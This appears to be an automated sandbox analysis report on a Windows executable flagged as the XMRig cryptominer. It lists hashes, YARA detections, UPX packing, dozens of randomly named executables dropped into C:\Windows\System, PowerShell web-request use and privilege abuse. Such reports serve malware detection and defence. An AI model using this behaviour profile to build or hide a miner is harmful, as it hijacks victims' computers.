xmrig | 1f89d2459837bacfd6fec7442f6b48eb91e2862e3149d86a5e93888973e4e822

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
26/05/2024, 16:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
Size 3.1MB
Sample240526-t741psda21
SHA256 1f89d2459837bacfd6fec7442f6b48eb91e2862e3149d86a5e93888973e4e822
MD5 14840b7ecb7a41cff280c59f7b19ca10
SHA1 c35f071804be0bbc7fbbb910b09624b72b077026
SHA512 a8e3d0ce3ce796548ca51fb113fb3ce5c7f8404ce50cc35f31c45df94ecf5ec82dcc0353d8b72fafc118cd12dbb71c51717ffd7e9ff38b04e7797468128ca5d6
SSDEEP 98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWw:SbBeSFks
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 60 IoCs

miner

resource	yara_rule
behavioral1/memory/2524-2-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/files/0x000d00000001269e-3.dat	xmrig
behavioral1/files/0x0007000000014aa2-11.dat	xmrig
behavioral1/files/0x003200000001471d-15.dat	xmrig
behavioral1/files/0x0007000000014b27-16.dat	xmrig
behavioral1/files/0x0007000000014b63-35.dat	xmrig
behavioral1/memory/2640-34-0x000000013FE20000-0x0000000140216000-memory.dmp	xmrig
behavioral1/memory/2524-36-0x000000013F090000-0x000000013F486000-memory.dmp	xmrig
behavioral1/memory/2648-33-0x000000013F9C0000-0x000000013FDB6000-memory.dmp	xmrig
behavioral1/memory/2584-23-0x000000013F610000-0x000000013FA06000-memory.dmp	xmrig
behavioral1/memory/2308-20-0x000000013F220000-0x000000013F616000-memory.dmp	xmrig
behavioral1/files/0x0007000000004e76-42.dat	xmrig
behavioral1/files/0x0009000000014e51-47.dat	xmrig
behavioral1/memory/2484-45-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/memory/2236-81-0x000000013FDE0000-0x00000001401D6000-memory.dmp	xmrig
behavioral1/memory/2608-61-0x000000013F450000-0x000000013F846000-memory.dmp	xmrig
behavioral1/files/0x0006000000015d07-66.dat	xmrig
behavioral1/files/0x0006000000015d4a-90.dat	xmrig
behavioral1/files/0x0007000000015ce1-57.dat	xmrig
behavioral1/memory/2888-79-0x000000013FE60000-0x0000000140256000-memory.dmp	xmrig
behavioral1/files/0x0006000000015d28-77.dat	xmrig
behavioral1/files/0x0006000000015ceb-74.dat	xmrig
behavioral1/files/0x0032000000014726-52.dat	xmrig
behavioral1/files/0x0006000000015d56-95.dat	xmrig
behavioral1/memory/2540-89-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	xmrig
behavioral1/memory/2912-88-0x000000013F330000-0x000000013F726000-memory.dmp	xmrig
behavioral1/memory/2748-84-0x000000013FB40000-0x000000013FF36000-memory.dmp	xmrig
behavioral1/memory/2524-82-0x0000000003800000-0x0000000003BF6000-memory.dmp	xmrig
behavioral1/files/0x0006000000015d5e-101.dat	xmrig
behavioral1/files/0x0006000000015d6f-108.dat	xmrig
behavioral1/files/0x0006000000015eaf-129.dat	xmrig
behavioral1/files/0x0006000000015fe9-136.dat	xmrig
behavioral1/files/0x00060000000161e7-143.dat	xmrig
behavioral1/files/0x00060000000164b2-149.dat	xmrig
behavioral1/files/0x0006000000016c6b-181.dat	xmrig
behavioral1/files/0x0006000000016ce4-188.dat	xmrig
behavioral1/files/0x0006000000015e3a-124.dat	xmrig
behavioral1/memory/2484-2263-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/memory/2464-1791-0x000000013F090000-0x000000013F486000-memory.dmp	xmrig
behavioral1/files/0x0006000000015d8f-117.dat	xmrig
behavioral1/files/0x0006000000016c4a-174.dat	xmrig
behavioral1/files/0x0006000000016843-167.dat	xmrig
behavioral1/files/0x0006000000016572-160.dat	xmrig
behavioral1/memory/2524-148-0x000000013FF20000-0x0000000140316000-memory.dmp	xmrig
behavioral1/files/0x000600000001630b-145.dat	xmrig
behavioral1/files/0x0006000000016117-138.dat	xmrig
behavioral1/files/0x0006000000015f6d-131.dat	xmrig
behavioral1/files/0x0006000000015d79-110.dat	xmrig
behavioral1/files/0x0006000000015d67-103.dat	xmrig
behavioral1/files/0x0006000000016d0d-191.dat	xmrig
behavioral1/files/0x0006000000016cb7-186.dat	xmrig
behavioral1/files/0x0006000000016c63-179.dat	xmrig
behavioral1/files/0x0006000000016a9a-172.dat	xmrig
behavioral1/files/0x000600000001661c-165.dat	xmrig
behavioral1/files/0x0006000000015d9b-122.dat	xmrig
behavioral1/files/0x0006000000015d87-115.dat	xmrig
behavioral1/memory/2888-2613-0x000000013FE60000-0x0000000140256000-memory.dmp	xmrig
behavioral1/memory/2540-2963-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	xmrig
behavioral1/memory/2888-4640-0x000000013FE60000-0x0000000140256000-memory.dmp	xmrig
behavioral1/memory/2608-4644-0x000000013F450000-0x000000013F846000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2308	mCezbNz.exe
2584	XjRkHOo.exe
2648	CzgOALd.exe
2640	rLGCDPO.exe
2464	bhcvstq.exe
2484	bHuyuYo.exe
2608	EqBjVCq.exe
2236	PaJksqv.exe
2748	WasWoTp.exe
2888	xAQfYmQ.exe
2912	jWnsDgQ.exe
2540	nySVrKF.exe
1204	eFPddFP.exe
1788	HLPEsgP.exe
1532	WcwkIzK.exe
2684	OFDoGVh.exe
1348	zGBoQLr.exe
1124	pPoZvEd.exe
2316	DVKzEtI.exe
1976	uGLcvfm.exe
2128	DMwMRNg.exe
748	tgjBTnn.exe
2140	TprKtJQ.exe
1240	cZkyJwk.exe
420	XQdgwIE.exe
1156	RFkIEXz.exe
1536	awGNWWf.exe
1952	HVILQdH.exe
1100	JfqnRXp.exe
2268	rjqWBEA.exe
776	ZcFQXiY.exe
704	uzuVfrv.exe
2224	hiBFYEo.exe
2412	HvPEkIm.exe
2124	oDpUckc.exe
1984	UGbqjIH.exe
1844	vMVXAnb.exe
1588	gBfMIuJ.exe
2004	KTasZqB.exe
2572	xtdwpSH.exe
2452	YjxOuqM.exe
2772	mlxDTgi.exe
2896	zGQPQXX.exe
2064	ZxNDKXR.exe
1568	KbJnTun.exe
3068	HICUTVG.exe
2420	klEWyIc.exe
1084	ComHcny.exe
1752	qJltwDV.exe
1900	jwpDtSf.exe
1764	ybPXZnY.exe
2196	QsQLCCM.exe
2504	GkbenjZ.exe
1988	QZOFoza.exe
552	Oscijxd.exe
3088	XSYMvod.exe
3120	SLjBFSQ.exe
3152	AgcYEKv.exe
3184	rBqBlan.exe
3216	fxoceoh.exe
3248	xcvVRcd.exe
3280	WaXsoRK.exe
3312	vPzMVxl.exe
3344	Wwssqyr.exe

Loads dropped DLL 64 IoCs

pid	Process
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2524-2-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/files/0x000d00000001269e-3.dat	upx
behavioral1/files/0x0007000000014aa2-11.dat	upx
behavioral1/files/0x003200000001471d-15.dat	upx
behavioral1/files/0x0007000000014b27-16.dat	upx
behavioral1/files/0x0007000000014b63-35.dat	upx
behavioral1/memory/2640-34-0x000000013FE20000-0x0000000140216000-memory.dmp	upx
behavioral1/memory/2524-36-0x000000013F090000-0x000000013F486000-memory.dmp	upx
behavioral1/memory/2648-33-0x000000013F9C0000-0x000000013FDB6000-memory.dmp	upx
behavioral1/memory/2584-23-0x000000013F610000-0x000000013FA06000-memory.dmp	upx
behavioral1/memory/2308-20-0x000000013F220000-0x000000013F616000-memory.dmp	upx
behavioral1/files/0x0007000000004e76-42.dat	upx
behavioral1/files/0x0009000000014e51-47.dat	upx
behavioral1/memory/2484-45-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/memory/2236-81-0x000000013FDE0000-0x00000001401D6000-memory.dmp	upx
behavioral1/memory/2608-61-0x000000013F450000-0x000000013F846000-memory.dmp	upx
behavioral1/files/0x0006000000015d07-66.dat	upx
behavioral1/files/0x0006000000015d4a-90.dat	upx
behavioral1/files/0x0007000000015ce1-57.dat	upx
behavioral1/memory/2888-79-0x000000013FE60000-0x0000000140256000-memory.dmp	upx
behavioral1/files/0x0006000000015d28-77.dat	upx
behavioral1/files/0x0006000000015ceb-74.dat	upx
behavioral1/files/0x0032000000014726-52.dat	upx
behavioral1/files/0x0006000000015d56-95.dat	upx
behavioral1/memory/2540-89-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	upx
behavioral1/memory/2912-88-0x000000013F330000-0x000000013F726000-memory.dmp	upx
behavioral1/memory/2748-84-0x000000013FB40000-0x000000013FF36000-memory.dmp	upx
behavioral1/files/0x0006000000015d5e-101.dat	upx
behavioral1/files/0x0006000000015d6f-108.dat	upx
behavioral1/files/0x0006000000015eaf-129.dat	upx
behavioral1/files/0x0006000000015fe9-136.dat	upx
behavioral1/files/0x00060000000161e7-143.dat	upx
behavioral1/files/0x00060000000164b2-149.dat	upx
behavioral1/files/0x0006000000016c6b-181.dat	upx
behavioral1/files/0x0006000000016ce4-188.dat	upx
behavioral1/files/0x0006000000015e3a-124.dat	upx
behavioral1/memory/2484-2263-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/memory/2464-1791-0x000000013F090000-0x000000013F486000-memory.dmp	upx
behavioral1/files/0x0006000000015d8f-117.dat	upx
behavioral1/files/0x0006000000016c4a-174.dat	upx
behavioral1/files/0x0006000000016843-167.dat	upx
behavioral1/files/0x0006000000016572-160.dat	upx
behavioral1/memory/2524-148-0x000000013FF20000-0x0000000140316000-memory.dmp	upx
behavioral1/files/0x000600000001630b-145.dat	upx
behavioral1/files/0x0006000000016117-138.dat	upx
behavioral1/files/0x0006000000015f6d-131.dat	upx
behavioral1/files/0x0006000000015d79-110.dat	upx
behavioral1/files/0x0006000000015d67-103.dat	upx
behavioral1/files/0x0006000000016d0d-191.dat	upx
behavioral1/files/0x0006000000016cb7-186.dat	upx
behavioral1/files/0x0006000000016c63-179.dat	upx
behavioral1/files/0x0006000000016a9a-172.dat	upx
behavioral1/files/0x000600000001661c-165.dat	upx
behavioral1/files/0x0006000000015d9b-122.dat	upx
behavioral1/files/0x0006000000015d87-115.dat	upx
behavioral1/memory/2888-2613-0x000000013FE60000-0x0000000140256000-memory.dmp	upx
behavioral1/memory/2540-2963-0x000000013FBD0000-0x000000013FFC6000-memory.dmp	upx
behavioral1/memory/2640-4566-0x000000013FE20000-0x0000000140216000-memory.dmp	upx
behavioral1/memory/2888-4640-0x000000013FE60000-0x0000000140256000-memory.dmp	upx
behavioral1/memory/2608-4644-0x000000013F450000-0x000000013F846000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\xqwXRqG.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\uxgjWxN.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\HeYmCom.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\nqUjpiI.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\ixwGDGL.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\ywQvxgo.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\enMgrRr.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\VWRkGkh.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\ytyuiCV.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\cyQzFrJ.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\hBWcSDs.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\QORcEMC.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\GbjqxSn.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\tNfaWDf.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\SBAIkus.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\hEIliVl.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\aQkKDOl.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\hMTyBCj.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\todRBGh.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\jsltikH.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\tGugxKs.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\DXCjlqT.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\wOBgApB.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\CsLoGHH.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\UFIJogv.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\zSrdMOa.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\MDPkrSe.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\tYykkpd.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\runqyoa.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\LEqyLbY.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\yGXyOiX.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\PaTUKdP.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\EPjgKJl.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\BItVLJG.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\EAUSicj.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\CymsoYR.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\lzqXqFy.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\FIegokj.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\rFfKQnb.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\gnWktlq.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\kawOUlW.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\xuqLMZN.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\WuPFfOC.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\sdXUxSN.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\tKjdJkH.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\ttbAHDI.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\tQLLtez.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\wSohPli.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\EPzscmC.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\eZILjKD.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\FTWXADE.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\GXGiMUY.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\QIQIprI.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\CQskbmC.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\iuRwrxk.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\renxmRh.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\kQIGvmC.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\lcOoZrD.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\tItRdmo.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\btEPhUJ.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\jnbMBmU.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\GvKYNZx.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\faAKlVh.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
File created	C:\Windows\System\IvZUsUb.exe	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2988	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe
Token: SeDebugPrivilege	2988	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 2988	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	29
PID 2524 wrote to memory of 2988	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	29
PID 2524 wrote to memory of 2988	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	29
PID 2524 wrote to memory of 2308	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	30
PID 2524 wrote to memory of 2308	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	30
PID 2524 wrote to memory of 2308	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	30
PID 2524 wrote to memory of 2584	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	31
PID 2524 wrote to memory of 2584	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	31
PID 2524 wrote to memory of 2584	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	31
PID 2524 wrote to memory of 2648	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	32
PID 2524 wrote to memory of 2648	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	32
PID 2524 wrote to memory of 2648	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	32
PID 2524 wrote to memory of 2640	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	33
PID 2524 wrote to memory of 2640	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	33
PID 2524 wrote to memory of 2640	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	33
PID 2524 wrote to memory of 2464	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	34
PID 2524 wrote to memory of 2464	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	34
PID 2524 wrote to memory of 2464	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	34
PID 2524 wrote to memory of 2484	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	35
PID 2524 wrote to memory of 2484	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	35
PID 2524 wrote to memory of 2484	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	35
PID 2524 wrote to memory of 2608	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	36
PID 2524 wrote to memory of 2608	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	36
PID 2524 wrote to memory of 2608	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	36
PID 2524 wrote to memory of 2236	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	37
PID 2524 wrote to memory of 2236	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	37
PID 2524 wrote to memory of 2236	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	37
PID 2524 wrote to memory of 2912	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	38
PID 2524 wrote to memory of 2912	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	38
PID 2524 wrote to memory of 2912	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	38
PID 2524 wrote to memory of 2748	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	39
PID 2524 wrote to memory of 2748	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	39
PID 2524 wrote to memory of 2748	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	39
PID 2524 wrote to memory of 2540	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	40
PID 2524 wrote to memory of 2540	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	40
PID 2524 wrote to memory of 2540	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	40
PID 2524 wrote to memory of 2888	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	41
PID 2524 wrote to memory of 2888	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	41
PID 2524 wrote to memory of 2888	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	41
PID 2524 wrote to memory of 1204	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	42
PID 2524 wrote to memory of 1204	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	42
PID 2524 wrote to memory of 1204	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	42
PID 2524 wrote to memory of 1832	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	43
PID 2524 wrote to memory of 1832	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	43
PID 2524 wrote to memory of 1832	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	43
PID 2524 wrote to memory of 1788	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	44
PID 2524 wrote to memory of 1788	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	44
PID 2524 wrote to memory of 1788	2524	14840b7ecb7a41cff280c59f7b19ca10_NeikiAnalytics.exe	44
